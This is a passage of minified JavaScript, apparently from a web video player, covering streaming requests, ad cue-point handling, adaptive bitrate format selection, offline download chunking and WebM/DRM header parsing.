FZ=function(x,T,t,u,H,I,E,Z){g.W.call(this);this.policy=x;this.info=T;this.gy=t;this.P9=H;this.GX=Z;this.logger=new g.t$("sabr");this.jf=new Kh(this);this.iU=new Sy(this);this.KC=new c6(this);this.state=1;this.SS=!1;this.tX=0;this.clipId="";this.Le=this.QL=-1;this.wz=0;this.U4=-1;this.qW=this.iC=!1;this.lc=0;this.jA=!1;this.policy.c5?this.Ht=new Rw(this,I):this.Ht=new Oz(this,I);this.MI=this.policy.kP?T.zR:wti(T,this.policy,u);this.MI.set("rn",""+this.Bw());this.MI.set("alr","yes");O3v(this.KC,t,
x);this.gp=new H6(this,this.policy,this.MI,T.QA,this.Ht,this.logger,u,E,this.policy.enableServerDrivenRequestCancellation);i3X(this.gp);var e;if((e=this.policy)==null?0:e.jb)g.y(this,this.KC),g.y(this,this.gp);x=T.Z;T={method:"POST",body:x};x&&(this.wz=x.length);try{this.xhr=ow(this.MI,this.policy.J,this.Ht,KY,T),this.policy.Q6&&ph(this.Ht,this.sY()),this.gp.Z.start()}catch(l){g.Vh(l)}};
KVJ=function(x){x.policy.nu&&x.d7&&!x.jA?x.jA=!0:x.Ht.jo()};
Xtm=function(x,T){var t=-1,u=-1,H=-1,I;if((I=x.JX)==null?0:I.items)for(x=g.S(x.JX.items),I=x.next();!I.done;I=x.next())I=I.value,T<I.W6||I.W6<t||(t=I.W6,u=I.rl,H=I.minReadaheadMs);return{Wuv:t,rl:u,XK:H}};
xHv=function(x){this.C=x;this.S=this.QU=this.N=this.Om=this.K=this.T=this.D=this.Hv=this.J=this.hQ=this.jY=this.uG=this.ZZ=0;this.ticks={}};
h$=function(x){x.ZZ||(x.ZZ=(0,g.bo)(),zj("mb_s",x.ZZ,x.C))};
TDC=function(x){x.uG||(x.uG=(0,g.bo)(),zj("ovfs_rp",x.uG,x.C))};
odX=function(x){x.jY||(x.jY=(0,g.bo)(),zj("oafs_rp",x.jY,x.C))};
tXm=function(x){x.T||(x.T=(0,g.bo)(),zj("vda",x.T,x.C),x.K&&TG(g.XM(),4))};
seC=function(x){x.K||(x.K=(0,g.bo)(),zj("ada",x.K,x.C),x.T&&TG(g.XM(),4))};
uOq=function(x){x.Om||(x.Om=(0,g.bo)(),zj("vis_a",x.Om,x.C))};
$H4=function(x){x.N||(x.N=(0,g.bo)(),zj("ais_a",x.N,x.C))};
HXq=function(x){x.QU||(x.QU=(0,g.bo)(),zj("vrb_f",x.QU,x.C))};
iX3=function(x){x.S||(x.S=(0,g.bo)(),zj("arb_f",x.S,x.C))};
IN3=function(x,T,t){var u=T instanceof FZ&&!x.j&&!x.Z,H=!x.j&&(t==null?void 0:t.info.video);t=!x.Z&&(t==null?void 0:t.info.audio);T.state===3?((H||u)&&x.tick("vrr"),(t||u)&&x.tick("arr")):T.state===4?H?(x.j=T.sY(),TG(g.XM(),4)):t&&(x.Z=T.sY()):T instanceof nh&&T.fm()&&H&&TG(g.XM(),4)};
Edf=function(x){return!!x.Z&&!!x.j};
v6=function(x,T,t,u,H,I,E){g.$B.call(this);var Z=this;this.Kf=x;this.gy=T;this.policy=t;this.videoTrack=u;this.audioTrack=H;this.Ty=E;this.ZZ=this.C=null;this.T=this.N=NaN;this.J=0;this.S=NaN;this.D=null;this.Hv=this.uG=NaN;this.Om=new Map;this.jY=this.j=this.K=NaN;this.yF={i$u:function(){return Z.Z}};
this.Z=I?1:0};
ZXD=function(x,T,t,u){u=u===void 0?!0:u;if(t&&!x.Om.has(T.Mj)){for(var H=T.startTime,I=[],E=0;E<t.C.length;E++){var Z=t.C[E],e=H;H=e+t.Z[E];I.push({startTime:e,endTime:H,adCpn:Z})}x.Om.set(T.Mj,I)}if(x.policy.Xt)if(H=x.ZZ&&T.Mj===x.ZZ.Mj+1,x.ZZ=T,I=x.C&&T.Mj===x.C.Mj+1,I=x.C&&H&&I&&x.C.PU.event!=="stop"&&x.C.PU.event!=="predictStart",E=T.PU||null,Z=x.videoTrack.C.index.mR(),x.policy.EG&&(Z=Math.max(x.videoTrack.C.index.mR(),x.audioTrack.C.index.mR())),Z=T.Mj>=Z,e=x.gy.isManifestless&&x.policy.I5,
E){var l;if(((l=x.C)==null?void 0:l.PU.event)==="predictStart"&&x.C.Mj<T.Mj&&E.event==="stop"){var m;x.Kf.handleError("ssdai.missingstartcueevent",{lastpredict:((m=x.C)==null?void 0:m.Mj)||0,csq:T.Mj},0)}x.C={PU:E,Mj:T.Mj,xT:!!t,Zo:u};Z?Vp(x,E,T.Mj):e&&(H?I?Vp(x,E,T.Mj):E.event==="continue"||E.event==="stop"?qU3(x,T):Vp(x,E,T.Mj):Vp(x,E,T.Mj))}else I&&qU3(x,T),x.Z===4&&Gp(x,5,"qend")};
Vp=function(x,T,t){T.startSecs+=isNaN(x.J)?0:x.J;x=x.gy;x.uG.push(T);x.publish("cuepointsadded",t)};
je3=function(x,T,t){if(x.Z!==0&&t&&T.iG[0].Zo()){var u=T.iG[0].Mj,H=T.iG[0].Gy;T=T.isDecorated();LR(x,u,H,T,t)}};
LR=function(x,T,t,u,H){var I;T!==((I=x.C)==null?void 0:I.Mj)||x.Z===1||u||x.C.PU.event==="predictStart"||x.kc("sdai",{undecevt:1,sq:T,mt:t,evt:x.C.PU.event},!0);T>x.T&&(x.T=NaN,x.N=NaN);if(x.C&&x.C.Mj===T)if(u=x.C,H&&u){var E=u.PU;I=H.a9(E);E.event==="predictStart"&&(x.jY=T);x.kc("sdai",{onqevt:E.event,sq:T,mt:t,gab:I,cst:E.startSecs,cueid:x.policy.CJ&&(I||E.event==="start")?E.identifier:void 0},!0);if(I)if(E.event!=="predictStart")E.event==="start"&&x.jY===T-1&&x.kc("sdai",{gabonstart:T}),u.xT?Gp(x,
4,"cue"):(x.T=T,x.N=t,x.kc("sdai",{joinad:x.Z,sg:x.T,st:x.N.toFixed(3)}),x.S=Date.now(),Gp(x,2,"join"),H.Df(u.PU));else{var Z=T+Math.max(Math.ceil(-E.C/5E3),1);I=Math.floor(t-E.C/1E3);x.policy.T?x.j=I:x.K=Z;x.kc("sdai",{onpred:t,estsq:Z,estmt:I.toFixed(3)});nR(x.Kf,I,I,Z);x.S=Date.now();Gp(x,3,"predict");H.Df(u.PU)}else x.Z===1?((Z=x.D)==null?0:Z.TO(t))?(nR(x.Kf,t,t,T),Gp(x,4,"sk2had")):Gp(x,5,"nogab"):E.event==="predictStart"&&(x.policy.T&&x.j>0?(t=Math.floor(t-E.C/1E3),x.j!==t&&x.kc("sdai",{updateSt:t,
old:x.j}),x.j=t):x.K>0&&(t=T+Math.max(Math.ceil(-E.C/5E3),1),x.K!==t&&(x.kc("sdai",{updateSt:t,old:x.K}),x.K=t)));var e,l;if(x.Ty&&E.event==="start"&&((e=x.C)==null?void 0:e.PU.event)!=="predictStart"&&((l=x.C)==null?void 0:l.Mj)===T-1){var m;x.kc("sdai",{ovlpst:(m=x.C)==null?void 0:m.PU.event,sq:T})}}else x.kc("sdai",{nulldec:1,sq:T,mt:t.toFixed(3),evt:(u==null?void 0:(E=u.PU)==null?void 0:E.event)||"none"});else x.Z===1&&Gp(x,5,"noad")};
lN3=function(x,T,t){if(x.Z===1||x.Z===2)return!1;if(x.Z!==0&&T===x.audioTrack){if(x.policy.T)return eUm(x.videoTrack,t)||eUm(x.videoTrack,t+1);x=aw(x.videoTrack);if(t>(x?x.Mj:-1))return!1}return!0};
gj=function(x,T,t){return(t<0||t===x.T)&&!isNaN(x.N)?x.N:T};
qU3=function(x,T){if(x.C){var t=x.C.PU.U0-(T.startTime+x.J-x.C.PU.startSecs);t<=0||(t=new Wt(x.C.PU.startSecs-(isNaN(x.J)?0:x.J),t,x.C.PU.context,x.C.PU.identifier,"stop",x.C.PU.C+T.duration*1E3),x.kc("cuepointdiscontinuity",{segNum:T.Mj}),Vp(x,t,T.Mj))}};
Gp=function(x,T,t){x.Z!==T&&(x.kc("sdai",{setsst:T,old:x.Z,r:t}),x.Z=T)};
B6=function(x,T,t,u){(u===void 0?0:u)?Gp(x,1,"seek"):T>0&&Math.abs(T-t)>=5&&x.Z===4&&Gp(x,5,"sk2t."+T.toFixed(2)+";ct."+t.toFixed(2))};
W6=function(x,T,t){this.audio=x;this.video=T;this.reason=t};
Dp=function(x,T,t){this.C=x;this.reason=T;this.token=t;this.videoId=void 0};
yp=function(x,T,t){g.W.call(this);this.policy=x;this.K=T;this.kc=t;this.j=new Map;this.T=0;this.D=!1;this.C="";this.Z=!1};
Nt=function(x,T,t){if(t===void 0?0:t)x.D=!0;++x.T;t=6E4*Math.pow(2,x.T);t=(0,g.bo)()+t;x.j.set(T.info.id,t)};
J$=function(x){for(var T=g.S(x.j.entries()),t=T.next();!t.done;t=T.next()){var u=g.S(t.value);t=u.next().value;u=u.next().value;u<(0,g.bo)()&&x.j.delete(t)}return x.j};
mHC=function(x){return x.D&&J$(x).size>0};
CR=function(x,T){x.C!==T&&(x.C=T,x.Z=!0)};
dHJ=function(x,T){var t;T&&(t=g.Oh(x.K.C,function(H){return H.id===T}));
if(!t&&(t=g.Oh(x.K.C,function(H){var I;return!((I=H.S8)==null||!I.isDefault)}),T)){var u;
x.kc("iaf",{id:T,sid:(u=t)==null?void 0:u.id})}return t};
pR=function(x,T,t,u,H,I){var E=this;I=I===void 0?[]:I;this.Kf=x;this.uG=T;this.policy=t;this.gy=u;this.D=H;this.SY=I;this.logger=new g.t$("dash/abr");this.C=yv;this.j=this.N=null;this.S=-1;this.QU=!1;this.nextVideo=this.Z=null;this.K=[];this.G9=new Set;this.hQ={};this.tQ=new Zm(1);this.J=0;this.AQ=this.jY=this.ZZ=!1;this.Hv=0;this.mu=!1;this.Om=new Set;this.nf=!1;this.yF={CQ:function(){Qp(E)}};
this.T=new yp(this.policy,H,function(Z,e){E.Kf.kc(Z,e)})};
SUV=function(x,T,t){OE(x,T);T=dHJ(x.T,t);t||T||(T=MX3(x));T=T||x.D.C[0];x.Z=x.gy.C[T.id];Qp(x);x.N=x.Z;A73(x);RUf(x);x.j=x.nextVideo;x.N=x.Z;return Pz3(x)};
UHv=function(x,T){if(c75(x,T))return null;if(T.reason==="m"&&T.isLocked())return x.logger.debug(function(){return"User sets constraint to: "+EK(T)}),OE(x,T),x.J=x.K.length-1,Qp(x),fR(x),x.jY=x.jY||x.j!==x.nextVideo,x.j=x.nextVideo,new W6(x.Z,x.j,T.reason);
T.reason==="r"&&(x.S=-1);OE(x,T);fR(x);if(T.reason==="r"&&x.nextVideo===x.j)return new W6(x.Z,x.nextVideo,T.reason);YUJ(x);return null};
bX4=function(x,T,t){x.Z=x.gy.C[T];x.N=x.Z;return new W6(x.N,x.j,t?"t":"m")};
r7D=function(x,T){if(T.info.video){if(x.j!==T)return x.j=T,Pz3(x)}else x.AQ=x.N!==T,x.N=T;return null};
zUD=function(x,T){if(T.C.info.video&&T.K){var t=(T.Z+T.j)/T.duration,u=T.C.info.Zp;t&&u&&(x.tQ.SF(1,t/u),x.policy.j&&t/u>1.5&&x.Kf.kc("overshoot",{sq:T.Mj,br:t,max:u}))}};
wj=function(x,T,t){Nt(x.T,T,t===void 0?!1:t);x.S=-1;OE(x,x.C)};
krX=function(x,T){return new W6(x.N,x.j,T||x.C.reason)};
YUJ=function(x){if(x.j&&x.nextVideo&&KR(x,x.j.info)<KR(x,x.nextVideo.info)){var T=x.C.reason;x.ZZ=x.ZZ||T==="r"||T==="u"||T==="v"}};
Pz3=function(x){x.QU?x.QU=!1:x.S=(0,g.bo)();x.ZZ=!1;x.nf=!1;return new W6(x.N,x.j,x.C.reason)};
Fgi=function(x,T){var t={};T=g.S(T);for(var u=T.next();!u.done;u=T.next())if((u=u.value)&&u.video){var H=u.video.C,I=t[H],E=I&&Oq(I)&&I.video.C>x.policy.TC,Z=H<=x.policy.TC?Oq(u):Cj(u);if(!I||E||Z)t[H]=u}return t};
OE=function(x,T){x.C=T;var t=x.D.videoInfos;if(!x.C.isLocked()){var u=(0,g.bo)();t=g.ES(t,function(Z){if(Z.Zp>this.policy.Zp)return!1;var e=this.gy.C[Z.id];return J$(this.T).get(Z.id)>u?!1:e.QA.Z>4||e.D>4?(this.logger.debug(function(){return"Remove "+uK(Z)+"; 4 load failures"}),!1):this.Om.has(+Z.itag)?!1:!0},x);
mHC(x.T)&&(t=g.ES(t,function(Z){return Z.video.width<=854&&Z.video.height<=480}))}t.length||(t=x.D.videoInfos);
var H=t;x.policy.mN&&(H=hUf(x,H,T));H=g.ES(H,T.K,T);if(x.C.isLocked()&&x.T.C){var I=g.Oh(t,function(Z){return Z.id===x.T.C});
I?H=[I]:CR(x.T,"")}x.policy.mN||(H=hUf(x,H,T));H.length||(H=[t[0]]);H.sort(function(Z,e){return KR(x,Z)-KR(x,e)});
T={};for(t=1;t<H.length;T={M1:void 0,kt:void 0},t++)T.kt=H[t-1],T.M1=H[t],T.kt.video.width>T.M1.video.width?(g.KC(H,t),t--):KR(x,T.kt)*x.policy.S>KR(x,T.M1)&&(g.KC(H,t-1),t--);var E=H[H.length-1];x.mu=!!x.j&&!!x.j.info&&x.j.info.Wv!==E.Wv;x.logger.debug(function(){return"Constraint: "+EK(x.C)+", "+H.length+" fmts selectable, max selectable fmt: "+uK(E)});
x.K=H;x.G9.clear();T=!1;for(t=0;t<H.length;t++)T?x.G9.add(H[t].itag):H[t].video.C>=1080&&(T=!0);vdi(x.policy,E,x.gy.B9)};
hUf=function(x,T,t){var u=t.reason==="m"||t.reason==="s";x.policy.zE&&XZ&&g.M4&&(!u||t.C<1080)&&(T=T.filter(function(l){return l.video&&(!l.Z||l.Z.powerEfficient)}));
if(T.length>0)if(A0()){var H=Fgi(x,T);T=T.filter(function(l){return!!l&&!!l.video&&l.Wv===H[l.video.C].Wv})}else{var I,E,Z=(I=T[0])==null?void 0:(E=I.video)==null?void 0:E.C;
if(Z){t=T.filter(function(l){return!!l&&!!l.video&&l.video.C===Z});
var e=Fgi(x,t)[Z].Wv;T=T.filter(function(l){return!!l&&!!l.video&&l.Wv===e})}}return T};
VXq=function(x,T){for(var t=0;t+1<x.K.length&&x.K[t].video.quality==="tiny";)t++;var u=kz(x.uG)/x.policy.S;return KR(x,T.info)+KR(x,x.K[t])>u};
Qp=function(x){if(!x.Z||!x.policy.K&&!x.Z.info.S8){var T=x.D.C;x.Z&&(T=T.filter(function(u){return u.audio.C===x.Z.info.audio.C}),T.length||(T=x.D.C));
x.Z=x.gy.C[T[0].id];if(T.length>1){if(x.policy.yw){if(x.policy.OC){var t=g.r7(T,function(u){return u.audio.audioQuality});
x.Kf.kc("aq",{hqa:x.policy.Ee,qs:t.join("_")})}if(x.policy.Ee)return;if(t=g.Oh(T,function(u){return u.audio.audioQuality!=="AUDIO_QUALITY_HIGH"}))x.Z=x.gy.C[t.id]}t=!1;
if(t=x.policy.VI?!0:x.C.isLocked()?x.C.C<240:VXq(x,x.Z))x.Z=x.gy.C[g.Q3(T).id]}}};
fR=function(x){if(!x.nextVideo||!x.policy.K)if(x.C.isLocked())x.nextVideo=x.C.C<=360?x.gy.C[x.K[0].id]:x.gy.C[g.Q3(x.K).id],x.logger.debug(function(){return"Select max fmt: "+uK(x.nextVideo.info)});
else{for(var T=Math.min(x.J,x.K.length-1),t=kz(x.uG),u=KR(x,x.Z.info),H=t/x.policy.ZZ-u;T>0&&!(KR(x,x.K[T])<=H);T--);for(var I=t/x.policy.S-u;T<x.K.length-1&&!(KR(x,x.K[T+1])>=I);T++);x.nextVideo=x.gy.C[x.K[T].id];x.J!==T&&x.logger.info(function(){return"Adapt to: "+uK(x.nextVideo.info)+", bandwidth: "+t.toFixed(0)+", bandwidth to downgrade: "+H.toFixed(0)+", bandwidth to upgrade: "+I.toFixed(0)+", constraint: "+EK(x.C)});
x.J=T}};
A73=function(x){var T=x.policy.ZZ,t=kz(x.uG),u=t/T-KR(x,x.Z.info);T=g.fC(x.K,function(H){return KR(this,H)<u},x);
T<0&&(T=0);x.J=T;x.nextVideo=x.gy.C[x.K[T].id];x.logger.info(function(){return"Initial selected fmt: "+uK(x.nextVideo.info)+", bandwidth: "+t.toFixed(0)+", max video byterate: "+u.toFixed(0)})};
RUf=function(x){if(x.SY.length){var T=x.SY,t=function(u,H){if(u.info.Wv==="f"||T.includes(bz(g.xj(u.info,x.gy.B9))))return u;for(var I={},E=0;E<H.length;I={wX:void 0,C3:void 0},E++){var Z=x.gy.C[H[E].id];if(T.includes(bz(g.xj(Z.info,x.gy.B9)))){var e=u.info.Wv,l=Z.info.Wv;if(e===l||A0()){if(u.info.C!==Z.info.C)return x.Kf.kc("ombifa",{mismatch:"xtag",f:u.info.id,t:Z.info.id}),u;I.wX=u.info.itag;I.C3=Z.info.itag;x.Kf.kc("ombifa",{f:I.wX,t:I.C3});x.logger.info(function(m){return function(){return"Initial format selection changed from "+
m.wX+" to "+m.C3+" based on prefetched media."}}(I));
x.QU=!0;return Z}x.Kf.kc("ombifa",{mismatch:"efficient",fc:e,tc:l})}}x.Kf.kc("ombifa",{mismatch:"unselectable",fmts:T.join(".")});return u};
x.nextVideo=t(x.nextVideo,x.D.videoInfos);x.Z=t(x.Z,x.D.C)}};
KR=function(x,T){if(!x.hQ[T.id]){var t=x.gy.C[T.id].index.GQ(x.Hv,15);t=T.R5&&x.j&&x.j.index.isLoaded()?t||T.R5:t||T.Zp;x.hQ[T.id]=t}t=x.hQ[T.id];x.G9.has(T.itag)&&(t*=1.5);return t*=Math.max(1,x.tQ.Z$()||0)};
GrC=function(x,T){x=yCD(x.gy.C,function(t){return t.info.itag===T});
if(!x)throw Error("Itag "+T+" from server not known.");return x};
LgH=function(x){var T=[];if(x.C.reason==="m"||x.C.reason==="s")return T;if(aDm(x.gy)){for(var t=Math.max(0,x.J-2);t<x.J&&t<x.K.length;t++)T.push(x.K[t].itag);T.reverse()}return T};
c75=function(x,T){var t;return x.C.RH(T)&&(!x.T.C||!x.C.isLocked()||((t=x.nextVideo)==null?void 0:t.info.id)===x.T.C)};
MX3=function(x){var T=g.Oh(x.D.C,function(u){return u.audio.C}),t=g.Oh(x.D.C,function(u){return!u.audio.C});
return T?x.policy.Rg?T:t:null};
ndv=function(x){var T=x===void 0?{}:x;x=T.Ok===void 0?!1:T.Ok;var t=T.HD===void 0?!1:T.HD;T=T.AJ===void 0?!1:T.AJ;return x?T?3:2:t?-1:1};
xo=function(x){this.track=x;this.buffered=[];this.j=this.K=0;this.D={};this.T=0;this.C=new E0};
aNX=function(x,T,t){x.flush();x.Z=t;Tb(x,3,T)};
Tb=function(x,T,t){var u=[],H=x.track.qJ;if(H){H=H.ma();for(var I=0;I<H.length;I++)u.push(Math.round(H.start(I)*1E3)),u.push(Math.round(H.end(I)*1E3))}H=1;I=u.length;if(I===x.buffered.length){for(var E=0;E<=I&&u[E]===x.buffered[E];E++);E>I?H=0:u[E]>x.buffered[E]&&(E===I-1?H=2:E===I-2&&u[E+1]>x.buffered[E+1]&&(H=3))}x.C.add(T<<3|(t&&4)|H);T=Math.ceil(x.track.xZ()*1E3);x.C.add(T-x.T);x.T=T;if(H===1)for(x.C.add(I),E=T=0;E<I;E++)x.C.add(u[E]-T),T=u[E];H===3&&x.C.add(u[I-2]-x.buffered[I-2]);H>=2&&x.C.add(u[I-
1]-x.buffered[I-1]);t&&x.C.add(t);x.buffered=u};
od=function(x,T,t){var u=this;this.policy=x;this.C=T;this.Hv=t;this.K=this.Z=0;this.jx=null;this.ZZ=new Set;this.S=[];this.indexRange=this.initRange=null;this.J=new XG;this.jY=this.uG=!1;this.yF={JJZ:function(){return u.j},
ony:function(){return u.chunkSize},
CRQ:function(){return u.N},
bTm:function(){return u.D}};
(T=gd4(this))?(this.chunkSize=T.csz,this.j=Math.floor(T.clen/T.csz),this.N=T.ck,this.D=T.civ):(this.chunkSize=x.lh,this.j=0,this.N=g.Sq(16),this.D=g.Sq(16));this.T=new Uint8Array(this.chunkSize);this.N&&this.D&&(this.crypto=new fRq(this.N,this.D))};
gd4=function(x){if(x.policy.Ap&&x.policy.Qj)for(var T=g.S(x.policy.Ap),t=T.next(),u={};!t.done;u={mz:void 0,Lh:void 0},t=T.next())if(t=g.sr(t.value),u.mz=+t.clen,u.Lh=+t.csz,u.mz>0&&u.Lh>0&&x.policy.K===t.docid&&x.C.info.id===t.fmtid&&x.C.info.lastModified===+t.lmt)return x={},x.clen=u.mz,x.csz=u.Lh,x.ck=t.ck,x.civ=t.civ,x};
tJ=function(x){return!!x.jx&&x.jx.FQ()};
DH4=function(x,T){if(!tJ(x)&&!x.T9()){if(!(x.uG||(x.uG=!0,x.j>0))){var t=sf(x);t=Vv(x.policy.K,x.C.info,uU(x),t,x.policy.SY);$o(x,t)}if(T.info.type===1){if(x.jx){Ho(x,Error("Woffle: Expect INIT slices to always start us off"));return}x.initRange=FO(0,T.C.getLength())}else if(T.info.type===2)x.jx&&x.jx.type===1||Ho(x,Error("Woffle: Index before init")),x.indexRange=FO(x.initRange.end+1,T.C.getLength());else if(T.info.type===3){if(!x.jx){Ho(x,Error("Woffle: Expect MEDIA slices to always have lastSlice"));
return}if(x.jx.type===3&&!LX(x.jx,T.info)&&(x.S=[],T.info.Mj!==nX(x.jx)||T.info.Z!==0))return;if(T.info.K){t=g.S(x.S);for(var u=t.next();!u.done;u=t.next())BDJ(x,u.value);x.S=[]}else{x.S.push(T);x.jx=T.info;return}}else{Ho(x,Error("Woffle: Unexpected slice type"));return}x.jx=T.info;BDJ(x,T);Wgq(x)}};
BDJ=function(x,T){var t=0,u=T.C.QX();if(x.K<x.j){t=x.j*x.chunkSize;var H,I=(((H=T.info.range)==null?void 0:H.start)||0)+T.info.Z;t-=I;if(t>=u.length)return;if(t<0)throw Error("Missing data");x.K=x.j;x.Z=0}for(H={};t<u.length;H={z0:void 0})if(H.z0=Math.min(u.length-t,x.T.byteLength-x.Z),I=new Uint8Array(u.buffer,u.byteOffset+t,H.z0),x.T.set(I,x.Z),x.Z+=H.z0,t+=H.z0,x.Z===x.T.length){if(T.info===x.jx&&tJ(x)&&t===u.length)break;H=sf(x);H=Vv(x.policy.K,x.C.info,uU(x),H,x.policy.SY,x.K,x.T,x.crypto);x.ZZ.add(H);
$o(x,H);x.T9()||(H=sf(x),x.Hv(uU(x),H!==void 0?(H.downloadedEndTime||0)*H.averageByteRate:H.maxKnownEndTime*H.averageByteRate,H.maxKnownEndTime*H.averageByteRate));x.T=new Uint8Array(x.chunkSize);x.Z=0;x.K+=1}};
Wgq=function(x){if(tJ(x))if(x.jx&&x.indexRange)if(x.Z){var T=new Uint8Array(x.T.buffer,0,x.Z),t=y7f(x),u=x.policy.K;Promise.all(x.ZZ).then(function(){var H=Vv(u,x.jx.C.info,uU(x,!0),t,x.policy.SY,x.K,T,x.crypto);$o(x,H,!0)})}else Ho(x,new iU("Woffle: Expect always re-mark currentChunkOffset at EOS"));
else Ho(x,new iU("Woffle: Expect at EOS to always have lastSlice or indexRange"))};
sf=function(x){return{downloadedEndTime:Math.round(x.jx?x.jx.BS:0),maxKnownEndTime:Math.round(x.C.index.dD()),averageByteRate:Math.round(x.C.info.R5)}};
y7f=function(x){return{downloadedEndTime:-1,maxKnownEndTime:Math.round(x.C.index.dD()),averageByteRate:Math.round(x.C.info.R5)}};
uU=function(x,T){T===void 0||!T||x.indexRange&&x.initRange&&x.jx||Ho(x,new iU("Woffle: Expect isFinal to always have indexRange and initRange and lastSlice"));T={lmt:x.C.info.lastModified,docid:x.policy.K,fmtid:x.C.info.id,type:x.C.info.mimeType.split(";")[0],csz:x.chunkSize,clen:x.K*x.chunkSize+x.Z};x.crypto&&(T.ck=x.N,T.civ=x.D);var t="local://localhost/videoplayback?"+T9(T),u,H;T={itag:+x.C.info.itag,mimeType:x.C.info.mimeType,bitrate:x.C.info.Zp*8,lastModified:String(x.C.info.lastModified),initRange:(u=
x.initRange)==null?void 0:DuD(u),indexRange:(H=x.indexRange)==null?void 0:DuD(H),url:t};if(u=x.C.info.C)T.xtags=u;if(u=x.C.info.video)if(T.quality=u.quality,T.qualityLabel=u.qualityLabel,T.width=u.width,T.height=u.height,u=u.fps)T.fps=u;if(x=x.C.info.audio){if(u=x.sampleRate)T.audioSampleRate=String(u);if(x=x.numChannels)T.audioChannels=x}return T};
$o=function(x,T,t){t=t===void 0?!1:t;T.then(function(u){x.ZZ.delete(T);(t||u===4)&&x.J.resolve(u)},function(u){x.J.reject(u)})};
Ho=function(x,T){g.kc(x.policy.K)!==4&&(g.F4(x.policy.K,4),g.Vh(T),x.J.reject(new iU(T.message)))};
iU=function(x,T){x=Error.call(this,x);this.message=x.message;"stack"in x&&(this.stack=x.stack);this.C=T===void 0?!1:T};
ND3=function(x){x=g.Tr(x,1886614376);for(var T=g.S(x),t=T.next();!t.done;t=T.next());return g.r7(x,function(u){return jSX(u)})};
J7f=function(x){var T=ka(x,function(H,I){return H+I.length},0);
T=new Uint8Array(T);var t=0;x=g.S(x);for(var u=x.next();!u.done;u=x.next())u=u.value,T.set(u,t),t+=u.length;return T};
CzX=function(x,T,t,u,H,I){this.ids=x;this.C=T;this.Z=t;this.j=u;this.K=H;this.fJ=I};
Id=function(x,T,t){this.initData=x;this.contentType=T;this.isPrefetch=t;this.C=this.cryptoPeriodIndex=NaN;this.j=[];this.LF=!1;this.Z=null;if((T==null?void 0:T.toLowerCase())==="webm"||x.length===16)this.LF=!0};
pH5=function(x){a:{var T=x.initData;try{for(var t=0,u=new DataView(T.buffer);t<u.byteLength-8;){var H=u.getUint32(t);if(H<=1)break;if(u.getUint32(t+4)===1886614376){var I=32;if(u.getUint8(t+8)>0){var E=u.getUint32(t+28);I+=E*16+4}var Z=u.getUint32(t+I-4);try{var e=Qef(T.subarray(t+I,t+I+Z));if(e!==null){var l=e;break a}}catch(m){}}t+=H}l=null;break a}catch(m){l=null;break a}l=void 0}if(l!=null)for(T=ez(gn(l,7)),T==null||x.LF||(x.cryptoPeriodIndex=T),T=ez(gn(l,10)),T!=null&&T>0&&!x.LF&&(x.C=T),l=Qd(l,
2,dvf,void 0===RYH?2:4),l=g.S(l),T=l.next();!T.done;T=l.next())x.j.push(g.Am(zq(T.value),4))};
OXq=function(x){return isNaN(x.cryptoPeriodIndex)?g.Am(x.initData):""+x.cryptoPeriodIndex};
Ef=function(x,T,t){var u=t===void 0?{}:t;t=u.videoDuration===void 0?0:u.videoDuration;var H=u.Fb===void 0?void 0:u.Fb;u=u.qx===void 0?!1:u.qx;this.videoId=x;this.status=T;this.videoDuration=t;this.Fb=H;this.qx=u};
fNq=function(x,T,t,u,H){this.videoId=x;this.AC=T;this.Z=t;this.bytesDownloaded=u;this.C=H};
qI=function(x){this.C=x;this.offset=0};
Zv=function(x){if(x.offset>=x.C.getLength())throw Error();return x.C.getUint8(x.offset++)};
wHV=function(x,T){T=T===void 0?!1:T;var t=Zv(x);if(t===1){T=-1;for(t=0;t<7;t++){var u=Zv(x);T===-1&&u!==255&&(T=0);T>-1&&(T=T*256+u)}return T}u=128;for(var H=0;H<6&&u>t;H++)t=t*256+Zv(x),u*=128;return T?t:t-u};
Kg3=function(x){try{var T=wHV(x,!0),t=wHV(x,!1);return{id:T,size:t}}catch(u){return{id:-1,size:-1}}};
XHH=function(x){for(var T=new qI(x),t=-1,u=0,H=0;!u||!H;){var I=Kg3(T),E=I.id;I=I.size;if(E<0)return;if(E===176){if(I!==2)return;u=T.gP()}else if(E===186){if(I!==2)return;H=T.gP()}E===374648427?t=T.gP()+I:E!==408125543&&E!==174&&E!==224&&T.skip(I)}T=P5(x,0,t);t=new DataView(T.buffer);t.setUint16(u,3840);t.setUint16(H,2160);u=new mi([T]);dK(u,x);return u};
xKC=function(x,T,t){var u=this;this.Kf=x;this.policy=T;this.D=t;this.logger=new g.t$("dash");this.Z=[];this.C=null;this.uG=-1;this.S=0;this.Om=NaN;this.ZZ=0;this.j=NaN;this.J=this.QU=0;this.mu=-1;this.hQ=this.T=this.K=this.Hv=null;this.tQ=this.AQ=NaN;this.N=this.jY=this.G9=this.SY=null;this.Ee=!1;this.nf=this.timestampOffset=0;this.yF={tY:function(){return u.Z}};
if(this.policy.K){var H=this.D,I=this.policy.K;this.policy.SY&&x.kc("atv",{ap:this.policy.SY});this.N=new od(this.policy,H,function(E,Z,e){jN(x,new Ef(u.policy.K,2,{Fb:new fNq(I,E,H.info,Z,e)}))});
this.N.J.promise.then(function(E){u.N=null;E===1?jN(x,new Ef(u.policy.K,E)):u.Kf.kc("offlineerr",{status:E.toString()})},function(E){var Z=(E.message||"none").replace(/[+]/g,"-").replace(/[^a-zA-Z0-9;.!_-]/g,"_");
E instanceof iU&&!E.C?(u.logger.info(function(){return"Assertion failed: "+Z}),u.Kf.kc("offlinenwerr",{em:Z}),eN(u),jN(x,new Ef(u.policy.K,4))):(u.logger.info(function(){return"Failed to write to disk: "+Z}),u.Kf.kc("dldbwerr",{em:Z}),eN(u),jN(x,new Ef(u.policy.K,4,{qx:!0})))})}};
TVD=function(x){return x.Z.length?x.Z[0]:null};
o83=function(x,T){return x.Z.some(function(t){return t.info.Mj===T})};
HY3=function(x,T,t,u){u=u===void 0?0:u;if(x.T){var H=x.T.Z+x.T.j;if(t.info.Z>0)if(t.info.Mj===x.T.Mj&&t.info.Z<H){if(t.info.Z+t.info.j<=H)return;t=lD3(t,H-t.info.Z)[1]}else if(t.info.Mj>=0&&x.T.Mj>=0&&!LX(x.T,t.info))throw new g.CS("improper_continuation",x.T.Hk(),t.info.Hk());CFX(x.T,t.info)||lU(x,"d")}else if(t.info.Z>0)throw new g.CS("continuation_of_null",t.info.Hk());x.T=t.info;x.D=t.info.C;if(t.info.Z===0){if(x.C)if(!x.Kf.isOffline()||x.policy.ZG)x.Kf.kc("slice_not_fully_processed",{buffered:x.C.info.Hk(),
